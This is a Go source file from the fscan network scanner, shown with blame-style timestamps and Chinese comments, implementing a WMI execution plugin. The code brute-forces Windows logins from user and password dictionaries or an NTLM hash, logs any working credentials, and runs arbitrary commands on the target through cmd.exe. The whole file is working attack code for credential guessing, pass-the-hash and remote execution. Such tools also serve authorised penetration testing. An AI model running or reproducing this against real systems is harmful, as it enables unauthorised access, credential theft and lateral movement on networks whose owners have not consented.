2022-11-19 17:04:13 +08:00
|
|
|
|
package Plugins
|
|
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
|
"errors"
|
|
|
|
|
|
"fmt"
|
2024-12-18 22:00:18 +08:00
|
|
|
|
"github.com/shadow1ng/fscan/Common"
|
2022-11-19 17:04:13 +08:00
|
|
|
|
"os"
|
|
|
|
|
|
"strings"
|
|
|
|
|
|
"time"
|
|
|
|
|
|
|
|
|
|
|
|
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
2024-12-19 14:15:49 +08:00
|
|
|
|
// 全局变量
|
|
|
|
|
|
var (
|
|
|
|
|
|
ClientHost string // 客户端主机名
|
|
|
|
|
|
flag bool // 初始化标志
|
|
|
|
|
|
)
|
2022-11-19 17:04:13 +08:00
|
|
|
|
|
2024-12-19 14:15:49 +08:00
|
|
|
|
// init 初始化函数
|
2022-11-19 17:04:13 +08:00
|
|
|
|
func init() {
|
|
|
|
|
|
if flag {
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
2024-12-19 14:15:49 +08:00
|
|
|
|
// 获取主机名
|
2022-11-19 17:04:13 +08:00
|
|
|
|
clientHost, err := os.Hostname()
|
|
|
|
|
|
if err != nil {
|
|
|
|
|
|
fmt.Println(err)
|
|
|
|
|
|
}
|
|
|
|
|
|
ClientHost = clientHost
|
|
|
|
|
|
flag = true
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2024-12-19 14:15:49 +08:00
|
|
|
|
// WmiExec 执行WMI远程命令
|
2024-12-19 16:15:53 +08:00
|
|
|
|
func WmiExec(info *Common.HostInfo) (tmperr error) {
|
2024-12-19 14:15:49 +08:00
|
|
|
|
// 如果是暴力破解模式则跳过
|
2024-12-18 22:00:18 +08:00
|
|
|
|
if Common.IsBrute {
|
2022-11-19 17:04:13 +08:00
|
|
|
|
return nil
|
|
|
|
|
|
}
|
2024-12-19 14:15:49 +08:00
|
|
|
|
|
2022-11-19 17:04:13 +08:00
|
|
|
|
starttime := time.Now().Unix()
|
2024-12-19 14:15:49 +08:00
|
|
|
|
|
|
|
|
|
|
// 遍历用户字典
|
2024-12-18 22:00:18 +08:00
|
|
|
|
for _, user := range Common.Userdict["smb"] {
|
2022-11-19 17:04:13 +08:00
|
|
|
|
PASS:
|
2024-12-19 14:15:49 +08:00
|
|
|
|
// 遍历密码字典
|
2024-12-18 22:00:18 +08:00
|
|
|
|
for _, pass := range Common.Passwords {
|
2024-12-19 14:15:49 +08:00
|
|
|
|
// 替换密码模板中的用户名
|
2022-11-19 17:04:13 +08:00
|
|
|
|
pass = strings.Replace(pass, "{user}", user, -1)
|
2024-12-19 14:15:49 +08:00
|
|
|
|
|
|
|
|
|
|
// 尝试WMI连接
|
2024-12-18 22:00:18 +08:00
|
|
|
|
flag, err := Wmiexec(info, user, pass, Common.Hash)
|
2024-12-19 14:15:49 +08:00
|
|
|
|
|
|
|
|
|
|
// 记录错误日志
|
2023-11-13 11:28:15 +08:00
|
|
|
|
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
2022-11-19 17:04:13 +08:00
|
|
|
|
errlog = strings.Replace(errlog, "\n", "", -1)
|
2024-12-18 22:00:18 +08:00
|
|
|
|
Common.LogError(errlog)
|
2024-12-19 14:15:49 +08:00
|
|
|
|
|
|
|
|
|
|
if flag {
|
|
|
|
|
|
// 成功连接,记录结果
|
2022-11-19 17:04:13 +08:00
|
|
|
|
var result string
|
2024-12-18 22:00:18 +08:00
|
|
|
|
if Common.Domain != "" {
|
|
|
|
|
|
result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, Common.Domain, user)
|
2022-11-19 17:04:13 +08:00
|
|
|
|
} else {
|
2023-11-13 11:28:15 +08:00
|
|
|
|
result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user)
|
2022-11-19 17:04:13 +08:00
|
|
|
|
}
|
2024-12-19 14:15:49 +08:00
|
|
|
|
|
|
|
|
|
|
// 添加认证信息到结果
|
2024-12-18 22:00:18 +08:00
|
|
|
|
if Common.Hash != "" {
|
|
|
|
|
|
result += "hash: " + Common.Hash
|
2022-11-19 17:04:13 +08:00
|
|
|
|
} else {
|
|
|
|
|
|
result += pass
|
|
|
|
|
|
}
|
2024-12-18 22:00:18 +08:00
|
|
|
|
Common.LogSuccess(result)
|
2022-11-19 17:04:13 +08:00
|
|
|
|
return err
|
|
|
|
|
|
} else {
|
|
|
|
|
|
tmperr = err
|
2024-12-19 14:15:49 +08:00
|
|
|
|
// 检查错误是否需要终止
|
2024-12-18 22:00:18 +08:00
|
|
|
|
if Common.CheckErrs(err) {
|
2022-11-19 17:04:13 +08:00
|
|
|
|
return err
|
|
|
|
|
|
}
|
2024-12-19 14:15:49 +08:00
|
|
|
|
// 检查是否超时
|
2024-12-18 22:00:18 +08:00
|
|
|
|
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout) {
|
2022-11-19 17:04:13 +08:00
|
|
|
|
return err
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
2024-12-19 14:15:49 +08:00
|
|
|
|
|
|
|
|
|
|
// 如果使用NTLM Hash,则跳过密码循环
|
2024-12-18 22:00:18 +08:00
|
|
|
|
if len(Common.Hash) == 32 {
|
2022-11-19 17:04:13 +08:00
|
|
|
|
break PASS
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
return tmperr
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2024-12-19 14:15:49 +08:00
|
|
|
|
// Wmiexec 包装WMI执行函数
|
2024-12-19 16:15:53 +08:00
|
|
|
|
func Wmiexec(info *Common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
|
2022-11-19 17:04:13 +08:00
|
|
|
|
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
2024-12-18 22:00:18 +08:00
|
|
|
|
wmiexec.Timeout = int(Common.Timeout)
|
|
|
|
|
|
return WMIExec(target, user, pass, hash, Common.Domain, Common.Command, ClientHost, "", nil)
|
2022-11-19 17:04:13 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2024-12-19 14:15:49 +08:00
|
|
|
|
// WMIExec 执行WMI远程命令
|
2022-11-19 17:04:13 +08:00
|
|
|
|
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {
|
2024-12-19 14:15:49 +08:00
|
|
|
|
// 初始化WMI配置
|
2022-11-19 17:04:13 +08:00
|
|
|
|
if cfgIn == nil {
|
|
|
|
|
|
cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil)
|
|
|
|
|
|
if err1 != nil {
|
|
|
|
|
|
err = err1
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
cfgIn = &cfg
|
|
|
|
|
|
}
|
2024-12-19 14:15:49 +08:00
|
|
|
|
|
|
|
|
|
|
// 创建WMI执行器
|
2022-11-19 17:04:13 +08:00
|
|
|
|
execer := wmiexec.NewExecer(cfgIn)
|
2024-12-19 14:15:49 +08:00
|
|
|
|
|
|
|
|
|
|
// 设置目标绑定
|
2022-11-19 17:04:13 +08:00
|
|
|
|
err = execer.SetTargetBinding(binding)
|
|
|
|
|
|
if err != nil {
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2024-12-19 14:15:49 +08:00
|
|
|
|
// 进行认证
|
2022-11-19 17:04:13 +08:00
|
|
|
|
err = execer.Auth()
|
|
|
|
|
|
if err != nil {
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
flag = true
|
|
|
|
|
|
|
2024-12-19 14:15:49 +08:00
|
|
|
|
// 如果有命令则执行
|
2022-11-19 17:04:13 +08:00
|
|
|
|
if command != "" {
|
2024-12-19 14:15:49 +08:00
|
|
|
|
// 使用cmd.exe执行命令
|
2022-11-19 17:04:13 +08:00
|
|
|
|
command = "C:\\Windows\\system32\\cmd.exe /c " + command
|
2024-12-19 14:15:49 +08:00
|
|
|
|
|
|
|
|
|
|
// 检查RPC端口
|
2022-11-19 17:04:13 +08:00
|
|
|
|
if execer.TargetRPCPort == 0 {
|
2024-12-19 14:15:49 +08:00
|
|
|
|
err = errors.New("RPC端口为0,无法连接")
|
2022-11-19 17:04:13 +08:00
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2024-12-19 14:15:49 +08:00
|
|
|
|
// 建立RPC连接
|
2022-11-19 17:04:13 +08:00
|
|
|
|
err = execer.RPCConnect()
|
|
|
|
|
|
if err != nil {
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
2024-12-19 14:15:49 +08:00
|
|
|
|
|
|
|
|
|
|
// 执行命令
|
2022-11-19 17:04:13 +08:00
|
|
|
|
err = execer.Exec(command)
|
|
|
|
|
|
if err != nil {
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|